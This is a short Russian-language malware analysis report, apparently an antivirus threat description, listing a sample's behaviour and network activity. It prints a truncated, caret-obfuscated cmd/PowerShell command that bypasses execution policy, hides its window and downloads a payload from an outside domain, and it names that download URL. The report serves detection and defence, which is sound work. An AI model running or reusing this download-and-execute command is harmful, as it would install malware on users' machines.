Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://transporingsytw.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "Po^WEr^S^H^elL.eXE -^e^Xec^U^T^IONpoL^ICY bY^p^aSs -^No^P^R^Ofi^LE -^WIndo^WsTYlE ^hI^d^DEN ^(N^E^W-^Ob^JECt S^Ys^t^Em^.n^Et.^wEBClIeNt).Do^W^n^LOAdfi^L^E(^'http://transporings...
Сетевая активность
UDP
- DNS ASK tr#####ringsytw.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "Po^WEr^S^H^elL.eXE -^e^Xec^U^T^IONpoL^ICY bY^p^aSs -^No^P^R^Ofi^LE -^WIndo^WsTYlE ^hI^d^DEN ^(N^E^W-^Ob^JECt S^Ys^t^Em^.n^Et.^wEBClIeNt).Do^W^n^LOAdfi^L^E(^'http://transporings...' (со скрытым окном)
